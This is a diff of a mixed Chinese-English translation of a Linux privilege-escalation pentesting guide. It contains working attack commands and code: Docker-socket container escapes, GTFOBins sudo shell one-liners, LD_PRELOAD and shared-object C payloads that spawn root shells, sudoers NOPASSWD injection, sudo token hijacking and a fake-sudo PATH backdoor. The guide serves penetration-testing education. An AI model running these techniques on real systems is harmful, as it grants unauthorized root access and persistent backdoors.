Docker socket, often found at `/var/run/docker.sock`, 是一个需要保护的关键文件。默认情况下,它对 `root` 用户和 `docker` 组的成员可写。拥有对该 socket 的写权限可能导致权限提升。下面是如何利用这一点的说明,以及当 Docker CLI 不可用时的替代方法。 +The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. -#### **使用 Docker CLI 提权** +#### **Privilege Escalation with Docker CLI** -如果你对 Docker socket 有写访问权限,你可以使用以下命令来提权: +If you have write access to the Docker socket, you can escalate privileges using the following commands: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -这些命令允许你运行一个容器,从而以 root 级别访问宿主机的文件系统。 +这些命令允许你运行一个容器,从而以 root 权限访问主机的文件系统。 -#### **Using Docker API Directly** +#### **直接使用 Docker API** -在 Docker CLI 不可用的情况下,仍然可以使用 Docker API 和 `curl` 命令操作 Docker socket。 +在 Docker CLI 不可用的情况下,仍然可以使用 Docker API 和 `curl` 命令来操作 Docker socket。 -1. **List Docker Images:** Retrieve the list of available images. +1. **列出 Docker 镜像:** 获取可用镜像的列表。 ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. +2. **创建容器:** 发送请求创建一个将主机根目录挂载进去的容器。 ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Start the newly created container: +启动新创建的容器: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. +3. **连接到容器:** 使用 `socat` 与容器建立连接,从而可以在其中执行命令。 ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -534,31 +559,31 @@ Connection: Upgrade Upgrade: tcp ``` -设置好 `socat` 连接后,你可以在容器内直接执行命令,并以 root 权限访问宿主机的文件系统。 +在建立 `socat` 连接后,您可以直接在容器中执行命令,并以 root 权限访问主机的文件系统。 ### 其他 注意,如果你对 docker socket 有写权限,因为你 **inside the group `docker`**,你有[**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)。如果[**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 -在以下位置查看 **更多从 docker 逃逸或滥用它以提升权限的方法**: +查看 **更多利用 docker 逃逸或滥用以提权的方法** 在: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) privilege escalation +## Containerd (ctr) 提权 -如果你发现可以使用 **`ctr`** 命令,请阅读下面的页面,因为 **you may be able to abuse it to escalate privileges**: +如果你发现可以使用 **`ctr`** 命令,请阅读下面的页面,因为 **你可能能够滥用它来提权**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** privilege escalation +## **RunC** 提权 -如果你发现可以使用 **`runc`** 命令,请阅读下面的页面,因为 **you may be able to abuse it to escalate privileges**: +如果你发现可以使用 **`runc`** 命令,请阅读下面的页面,因为 **你可能能够滥用它来提权**: {{#ref}} @@ -567,15 +592,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus 是一个复杂的 **inter-Process Communication (IPC) system**,使应用程序能够高效地交互和共享数据。为现代 Linux 系统设计,它为不同形式的应用间通信提供了稳健的框架。 +D-Bus 是一个复杂的 **进程间通信 (IPC) 系统**,使应用程序能够高效地交互和共享数据。为现代 Linux 系统设计,它为不同形式的应用通信提供了一个稳健的框架。 -该系统用途广泛,支持基础的 IPC,增强进程间的数据交换,类似于 **enhanced UNIX domain sockets**。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自 Bluetooth 守护进程的来电信号可以促使音乐播放器静音,从而提升用户体验。此外,D-Bus 支持远程对象系统,简化服务请求和方法调用,使传统上复杂的进程更加简洁。 +该系统非常灵活,支持基础的 IPC 用以加强进程间的数据交换,类似于 **增强的 UNIX 域套接字**。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自 Bluetooth 守护进程的来电信号可以促使音乐播放器静音,从而改善用户体验。另外,D-Bus 支持一个远程对象系统,简化应用之间的服务请求和方法调用,使传统上复杂的流程变得更简便。 -D-Bus 基于 **allow/deny model** 运行,根据匹配的策略规则的累积效果管理消息权限(方法调用、信号发送等)。这些策略指定了与 bus 的交互方式,可能通过利用这些权限导致权限提升。 +D-Bus 基于 **允许/拒绝模型** 运行,基于匹配策略规则的累积效果来管理消息权限(方法调用、信号发出等)。这些策略指定了与总线的交互,可能允许通过滥用这些权限进行提权。 -下面提供了 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中此类策略的示例,详细说明了 root 用户拥有、发送到以及接收来自 `fi.w1.wpa_supplicant1` 的消息的权限。 +下面给出 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中此类策略的示例,说明了 root 用户对 `fi.w1.wpa_supplicant1` 拥有、发送以及接收消息的权限。 -未指定用户或组的策略适用于所有情况,而 "default" 上下文策略适用于未被其他特定策略覆盖的所有实体。 +未指定用户或组的策略适用于所有主体,而“default”上下文策略适用于未被其他特定策略覆盖的所有主体。 ```xml @@ -584,7 +609,7 @@ D-Bus 基于 **allow/deny model** 运行,根据匹配的策略规则的累积 ``` -**在这里学习如何 enumerate 和 exploit D-Bus communication:** +**在这里学习如何枚举并利用 D-Bus 通信:** {{#ref}} @@ -593,7 +618,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **网络** -通常对网络进行 enumerate 并确定机器在网络中的位置是很有趣的。 +枚举网络并确定该机器在网络中的位置总是很有价值。 ### 通用枚举 ```bash @@ -620,22 +645,22 @@ lsof -i ``` ### 开放端口 -始终检查在访问该机器之前,你无法与之交互的正在运行网络服务: +始终检查在你获取访问权限前无法与之交互的机器上正在运行的网络服务: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -检查是否可以 sniff traffic。如果可以,你可能能够抓取一些凭证。 +检查你是否可以 sniff traffic。如果可以,你可能能够获取一些凭证。 ``` timeout 1 tcpdump ``` -## 用户 +## Users -### 通用枚举 +### Generic Enumeration -检查 **你是谁**、你拥有哪些 **权限**、系统中有哪些 **用户**、哪些可以 **登录** 以及哪些具有 **root 权限**: +检查你是**who**,你拥有哪些**privileges**,系统中有哪些**users**,哪些可以**login**,以及哪些拥有**root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -657,14 +682,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### 大 UID +### Big UID -某些 Linux 版本受到一个漏洞影响,允许 **UID > INT_MAX** 的用户升级权限。更多信息: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**利用它** 使用: **`systemd-run -t /bin/bash`** +某些 Linux 版本存在一个漏洞,允许 **UID > INT_MAX** 的用户提升权限。更多信息: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**利用它**:**`systemd-run -t /bin/bash`** ### 组 -检查你是否为可能授予你 root 权限的**某个组的成员**: +检查你是否为可能授予你 root 权限的 **某个组的成员**: {{#ref}} @@ -673,7 +698,7 @@ interesting-groups-linux-pe/ ### 剪贴板 -如果可能,检查剪贴板中是否有任何有趣的内容 +检查剪贴板中是否有任何有趣的内容(如果可能) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -690,27 +715,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### 已知密码 -如果你**知道环境中的任何密码**,**尝试使用该密码以每个用户登录**。 +如果你**知道环境中的任意密码**,请**尝试使用该密码登录每个用户**。 ### Su Brute -如果你不介意产生大量噪音,且目标计算机上存在 `su` 和 `timeout` 二进制文件,你可以尝试使用 [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 使用 `-a` 参数时也会尝试对用户进行 brute-force。 +如果你不介意制造大量噪音,且目标主机存在 `su` 和 `timeout` 二进制文件,你可以使用 [su-bruteforce](https://github.com/carlospolop/su-bruteforce)。\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 使用 `-a` 参数也会尝试对用户进行爆破。 -## 可写 PATH 滥用 +## 可写 $PATH 滥用 ### $PATH -如果你发现你可以**写入 $PATH 的某个文件夹**,你可能能够通过**在可写文件夹内创建 backdoor**(将名称设为某个会被其他用户(最好是 root)执行的命令)并且该命令**不会从位于你可写文件夹之前的文件夹加载**,来升级权限。 +如果你发现可以**写入 $PATH 的某个文件夹**,你可能可以通过在可写文件夹中**创建一个后门**来提升权限,后门的名字应为某个会被其他用户(最好是 root)执行的命令,并且该命令**不会从 $PATH 中位于你可写文件夹之前的文件夹加载**。 ### SUDO and SUID -你可能被允许使用 sudo 执行某些命令,或者某些命令可能设置了 suid 位。使用以下命令检查: +你可能被允许使用 sudo 执行某些命令,或某些命令可能设置了 suid 位。使用以下命令检查: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -有些 **unexpected commands 允许你读取和/或写入文件,甚至执行命令。** 例如: +有些**意想不到的命令允许你读取和/或写入文件,甚至执行命令。**例如: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -721,31 +746,31 @@ less>! ``` ### NOPASSWD -sudo 配置可能允许用户在不知道密码的情况下以另一个用户的权限执行某些命令。 +Sudo 配置可能允许用户在不知晓密码的情况下以另一个用户的权限执行某些命令。 ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -在这个例子中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在通过将一个 ssh key 添加到 root 目录或通过调用 `sh` 来获取 shell 变得很容易。 +在这个示例中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在通过向 `root` 目录添加 ssh key 或调用 `sh` 来获取 shell 非常简单。 ``` sudo vim -c '!sh' ``` ### SETENV -此指令允许用户在执行某些操作时 **设置环境变量**: +该指令允许用户在执行某些操作时**设置环境变量**: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -该示例,**基于 HTB machine Admirer**,**存在漏洞**,可通过 **PYTHONPATH hijacking** 在以 root 身份执行脚本时加载任意 python 库: +这个示例,**基于 HTB machine Admirer**,**易受** **PYTHONPATH hijacking** 攻击,可在以 root 身份执行脚本时加载任意 python 库: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo 执行路径绕过 +### Sudo 执行绕过路径 -**跳转** 去读取其他文件或使用 **symlinks**。例如在 sudoers 文件中: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** 去读取其他文件或使用 **symlinks**。例如在 sudoers 文件中:_hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -755,46 +780,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -如果使用 **wildcard** (\*), 就更容易: +如果使用 **wildcard** (\*),就更容易: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **对策**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary 未指定命令路径 +### Sudo command/SUID binary 没有指定命令路径 -如果将 **sudo permission** 授予单个命令 **未指定路径**:_hacker10 ALL= (root) less_,你可以通过更改 PATH 变量来利用它 +如果将 **sudo permission** 授予单个命令(**没有指定命令路径**):_hacker10 ALL= (root) less_,你可以通过更改 PATH 变量来利用它。 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -如果一个 **suid** 二进制文件 **executes another command without specifying the path to it (always check with** _**strings**_ **the content of a weird SUID binary)**,也可以使用该技术。 +此技术也可用于如果一个 **suid** 二进制文件 **在执行另一个命令时没有指定其路径(总是使用** _**strings**_ **检查可疑 SUID 二进制文件的内容))**。 [Payload examples to execute.](payloads-to-execute.md) -### SUID 二进制带有命令路径 +### 带命令路径的 SUID 二进制文件 -如果 **suid** 二进制 **executes another command specifying the path**,则可以尝试创建一个以该 suid 文件所调用命令命名并 **export a function**。 +如果该 **suid** 二进制文件 **在执行另一个命令时指定了路径**,那么你可以尝试 **导出一个函数**,其名称为 suid 文件所调用的命令。 -例如,如果一个 suid 二进制调用 _**/usr/sbin/service apache2 start**_,你需要尝试创建该函数并导出它: +例如,如果一个 suid 二进制文件调用 _**/usr/sbin/service apache2 start**_,你需要尝试创建该函数并导出它: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -然后,当你调用 suid binary 时,该函数将被执行 +然后,当你调用 suid binary 时,这个函数将被执行 ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** 环境变量用于指定一个或多个共享库(.so files),由加载器在其他库之前加载,包括标准 C 库 (`libc.so`)。此过程称为预加载库。 +The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. -然而,为了维护系统安全并防止此功能被滥用,尤其是针对 **suid/sgid** 可执行文件,系统会强制执行某些条件: +然而,为了维护系统安全并防止此特性被利用,尤其是在 **suid/sgid** 可执行文件上,系统强制执行了一些限制: -- 对于 real user ID (_ruid_) 与 effective user ID (_euid_) 不匹配的可执行文件,加载器会忽略 **LD_PRELOAD**。 -- 对于带有 suid/sgid 的可执行文件,只有位于标准路径且同样为 suid/sgid 的库会被预加载。 +- 当可执行文件的真实用户 ID (_ruid_) 与有效用户 ID (_euid_) 不匹配时,loader 会忽略 **LD_PRELOAD**。 +- 对于带有 suid/sgid 的可执行文件,只有位于标准路径且自身也是 suid/sgid 的库会被预加载。 -如果你可以使用 `sudo` 执行命令,且 `sudo -l` 的输出包含 **env_keep+=LD_PRELOAD**,则可能发生权限提升。这种配置允许 **LD_PRELOAD** 环境变量在使用 `sudo` 运行命令时仍然保留并被识别,可能导致以提升的权限执行任意代码。 +如果你能够使用 `sudo` 执行命令,并且 `sudo -l` 的输出包含语句 **env_keep+=LD_PRELOAD**,则可能发生权限提升。该配置允许 **LD_PRELOAD** 环境变量在通过 `sudo` 运行命令时得以保留并被识别,可能导致以提升的权限执行任意代码。 ``` Defaults env_keep += LD_PRELOAD ``` @@ -811,17 +836,17 @@ setuid(0); system("/bin/bash"); } ``` -然后 **编译它** 使用: +然后使用以下命令 **编译它**: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -最后,在运行时 **escalate privileges** +最后, **escalate privileges** 运行 ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 如果攻击者控制了 **LD_LIBRARY_PATH** env variable,就可以滥用类似的 privesc,因为攻击者控制了库的搜索路径。 +> 如果攻击者控制了 **LD_LIBRARY_PATH** env variable,便可滥用类似的 privesc,因为他控制了库的搜索路径。 ```c #include #include @@ -843,13 +868,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -当遇到具有 **SUID** 权限且看起来不寻常的二进制文件时,最好验证它是否正确加载 **.so** 文件。可以通过运行以下命令来检查: +当遇到具有 **SUID** 权限且看起来不寻常的二进制文件时,最好检查它是否正确加载 **.so** 文件。可以通过运行以下命令来检查: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -例如,遇到类似 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 的错误,表明可能存在利用的机会。 +例如,遇到像 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 这样的错误,表明可能存在可被利用的漏洞。 -要利用这一点,可以通过创建一个 C 文件,例如 _"/path/to/.config/libcalc.c"_,其内容如下: +要利用它,可以创建一个 C 文件,例如 _"/path/to/.config/libcalc.c"_,并包含以下代码: ```c #include #include @@ -860,13 +885,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -该代码在编译并执行后,旨在通过修改文件权限并执行具有更高权限的 shell 来获得提升的权限。 +这段代码在编译并执行后,旨在通过修改文件权限并执行一个提升权限的 shell 来提升特权(elevate privileges)。 -使用以下命令将上述 C 文件编译为共享对象 (.so) 文件: +使用以下命令将上述 C 文件编译为 shared object (.so) 文件: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -最后,运行受影响的 SUID binary 应该会触发 exploit,从而可能导致系统妥协。 +最后,运行受影响的 SUID binary 应触发该 exploit,从而可能导致 system compromise。 ## Shared Object Hijacking ```bash @@ -878,7 +903,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -既然我们已经发现一个 SUID binary 会从我们有写权限的 folder 加载 library,现在就在该 folder 中按需要的名称创建该 library: +既然我们已经找到一个 SUID 二进制文件会从一个我们可写的文件夹加载库,就在该文件夹中创建具有所需名称的库: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -891,24 +916,23 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -如果你遇到类似如下的错误: +如果你遇到如下错误: ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -这意味着你生成的库需要包含一个名为 `a_function_name` 的函数。 +这意味着你生成的库需要有一个名为 `a_function_name` 的函数。 ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) 是一个策划的 Unix 二进制文件列表,攻击者可以利用这些二进制文件来绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 与之类似,但适用于你**只能在命令中注入参数**的情况。 +[**GTFOBins**](https://gtfobins.github.io) 是一个精心整理的 Unix 二进制文件列表,攻击者可以利用这些二进制文件绕过本地安全限制。 [**GTFOArgs**](https://gtfoargs.github.io/) 则适用于你只能在命令中**注入参数**的情况。 -该项目收集了 Unix 二进制文件的合法功能,这些功能可能被滥用来逃离受限 shell、提升或维持更高权限、传输文件、生成 bind 和 reverse shells,以及便利其他 post-exploitation 任务。 +该项目收集了 Unix 二进制程序的合法功能,这些功能可能被滥用以突破受限 shell、提升或维持更高权限、传输文件、生成绑定和反向 shell,以及辅助其他后利用任务。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' - {{#ref}} https://gtfobins.github.io/ {{#endref}} @@ -920,61 +944,61 @@ https://gtfoargs.github.io/ ### FallOfSudo -如果你可以访问 `sudo -l`,可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 来检查它是否能找出如何利用任何 sudo 规则。 +如果你可以访问 `sudo -l`,可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 检查它是否能找到利用任何 sudo 规则的方法。 -### 重用 sudo 令牌 +### Reusing Sudo Tokens -在你拥有 **sudo 访问权限** 但不知道密码的情况下,你可以通过 **等待 sudo 命令执行然后劫持会话令牌** 来提升权限。 +在拥有 **sudo access** 但不知道密码的情况下,你可以通过**等待 sudo 命令执行然后劫持会话令牌**来提升权限。 -提权的前提条件: +提升权限的前提条件: -- 你已经以用户 "_sampleuser_" 拥有一个 shell -- "_sampleuser_" 在 **过去 15mins** 内 **使用了 `sudo`** 执行过某些操作(默认情况下,这就是 sudo 令牌允许我们在不输入任何密码的情况下使用 `sudo` 的持续时间) +- 你已经以 _sampleuser_ 用户身份拥有一个 shell +- _sampleuser_ 已在**过去 15 分钟内**用 `sudo` 执行过某些操作(默认这是 sudo 令牌的有效时长,允许我们在不输入密码的情况下使用 `sudo`) - `cat /proc/sys/kernel/yama/ptrace_scope` 为 0 -- `gdb` 是可用的(你可以上传它) +- `gdb` 可用(你可以上传它) -(你可以临时使用 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 来启用 `ptrace_scope`,或通过修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0` 来永久更改) +(你可以临时通过 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 启用 ptrace_scope,或永久修改 `/etc/sysctl.d/10-ptrace.conf`,设置 `kernel.yama.ptrace_scope = 0`) -如果满足所有这些前提条件,**你可以使用以下方法提权:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +如果满足所有这些条件,**你可以通过以下方式提升权限:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- 第一个 **exploit** (`exploit.sh`) 会在 _/tmp_ 创建二进制文件 `activate_sudo_token`。你可以用它来 **在你的会话中激活 sudo 令牌**(你不会自动获得 root shell,执行 `sudo su`): +- The **first exploit** (`exploit.sh`) 将在 _/tmp_ 创建二进制文件 `activate_sudo_token`。你可以使用它来**激活你会话中的 sudo 令牌**(你不会自动得到 root shell,执行 `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **第二个 exploit** (`exploit_v2.sh`) 将在 _/tmp_ 创建一个 sh shell,**由 root 拥有并带有 setuid** +- 这个 **第二个 exploit** (`exploit_v2.sh`) 将在 _/tmp_ 创建一个 sh shell,**由 root 拥有并带有 setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **第三个 exploit** (`exploit_v3.sh`) 将 **创建 sudoers 文件**,使 **sudo tokens 永久有效并允许所有用户使用 sudo** +- **第三个 exploit** (`exploit_v3.sh`) 将 **创建 a sudoers file**,使 **sudo tokens 永久有效并允许所有用户使用 sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -如果你对该文件夹或其中创建的任意文件拥有**写权限**,你可以使用二进制文件 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来**为某个用户和 PID 创建 sudo token**。\ -例如,如果你能覆盖文件 _/var/run/sudo/ts/sampleuser_,并且以该用户身份拥有 PID 为 1234 的 shell,你可以**获得 sudo 权限**,无需知道密码执行: +如果你在该文件夹或其中任何已创建的文件上拥有 **写权限**,你可以使用二进制文件 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来 **为某个用户和 PID 创建 sudo token**。\ +例如,如果你能覆盖文件 _/var/run/sudo/ts/sampleuser_ 并且你以该用户身份拥有 PID 为 1234 的 shell,你可以在不需要知道密码的情况下通过以下方式 **获得 sudo privileges**: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -文件 `/etc/sudoers` 以及 `/etc/sudoers.d` 目录内的文件用于配置谁可以使用 `sudo` 以及如何使用。\ -这些文件**默认只能由用户 root 和组 root 读取**。\ -**如果**你能**读取**此文件,你可能能够**获取一些有趣的信息**,而如果你能够**写入**任何文件,你将能够**提升权限**。 +文件 `/etc/sudoers` 以及 `/etc/sudoers.d` 下的文件配置谁可以使用 `sudo` 以及如何使用。 这些文件 **默认只能由用户 root 和组 root 读取**.\ + +**如果** 你能 **读取** 这个文件,可能会 **获得一些有趣的信息**,而如果你能 **写入** 任意文件,就能够 **escalate privileges**。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -如果你有写权限,你就能滥用该权限。 +如果你可以写入,你就可以滥用此权限 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -另一种滥用这些权限的方法: +滥用这些权限的另一种方法: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -983,17 +1007,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -有一些可以替代 `sudo` 二进制文件的工具,例如 OpenBSD 上的 `doas`。记得检查其配置,位于 `/etc/doas.conf`。 +有一些 `sudo` 二进制的替代品,例如 OpenBSD 的 `doas`,请记得检查其配置位于 `/etc/doas.conf`。 ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -如果你知道某个**用户通常连接到一台机器并使用 `sudo`** 来提权,并且你已经在该用户上下文中获得了一个 shell,你可以**创建一个新的 sudo 可执行文件**,该文件会以 root 身份先执行你的代码,然后再执行用户的命令。然后,**修改 $PATH**(例如在 .bash_profile 中添加新的路径),这样当用户执行 sudo 时,就会执行你的 sudo 可执行文件。 +如果你知道某个用户通常连接到一台机器并使用 `sudo` 来提升权限,且你已经在该用户上下文获得了一个 shell,你可以 **创建一个新的 sudo 可执行文件**,该文件会以 root 身份先执行你的代码,然后再执行用户的命令。然后,**修改该用户上下文的 $PATH**(例如在 .bash_profile 中添加新路径),这样当用户执行 sudo 时,就会执行你的 sudo 可执行文件。 -注意,如果用户使用不同的 shell(不是 bash),你需要修改其他文件来添加新的路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改 `~/.bashrc`、`~/.zshrc`、`~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 找到另一个示例。 +注意,如果用户使用不同的 shell(不是 bash),你需要修改其他文件以添加新的路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改了 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 找到另一个示例。 -或者运行类似下面的命令: +或者运行类似如下: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -将 lib 复制到 `/var/tmp/flag15/` 后,程序会在该处使用它,正如 `RPATH` 变量中指定的那样。 +通过将 lib 复制到 `/var/tmp/flag15/`,它将根据 `RPATH` 变量在此处被程序使用。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1043,7 +1068,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -然后在 `/var/tmp` 中创建一个恶意库,使用 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +然后在 `/var/tmp` 创建一个恶意库,使用 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1058,9 +1083,8 @@ execve(file,argv,0); ``` ## 能力 -Linux capabilities 提供给进程一个 **可用 root privileges 的子集**。这实际上把 root **privileges 分解为更小且独立的单元**。每个单元都可以独立地授予给进程。通过这种方式,完整的权限集合被缩小,从而降低了被利用的风险。\ -阅读以下页面以 **了解更多关于 capabilities 及如何滥用它们**: - +Linux capabilities 为进程提供可用 root 权限的一个**子集**。这实际上将 root 的**特权划分为更小且各自独立的单元**。这些单元可以独立地赋予给进程。这样可以减少完整权限集合,降低被利用的风险。\ +阅读以下页面以**了解更多关于 capabilities 以及如何滥用它们的信息**: {{#ref}} linux-capabilities.md @@ -1068,32 +1092,32 @@ linux-capabilities.md ## 目录权限 -在目录中,**"execute" 的位**意味着受影响的用户可以 "**cd**" 进入该文件夹。\ -**"read"** 位意味着用户可以 **list** **files**,而 **"write"** 位意味着用户可以 **delete** 并 **create** 新的 **files**。 +在目录中,表示 **"execute"** 的位意味着受影响的用户可以 **"cd"** 进入该文件夹。\ +**"read"** 位表示用户可以**列出**这些**files**,而 **"write"** 位表示用户可以**删除**和**创建**新的**files**。 ## ACLs -Access Control Lists (ACLs) 代表了任意权限的第二层,能够**覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝对特定非所有者或非组成员用户的权限来增强对文件或目录访问的控制。这种**粒度**确保了更精确的访问管理。更多细节见[**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)。 +Access Control Lists (ACLs) 表示自主权限的第二层,能够**覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝对特定(既非所有者也不属于该组)的用户的访问权来增强对文件或目录访问的控制。此级别的**粒度确保更精确的访问管理**。Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**给** 用户 "kali" read and write permissions over a file: +**赋予** 用户 "kali" 对文件的读写权限: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**获取** 系统中具有特定 ACLs 的文件: +**获取** 系统中具有特定 ACL 的文件: 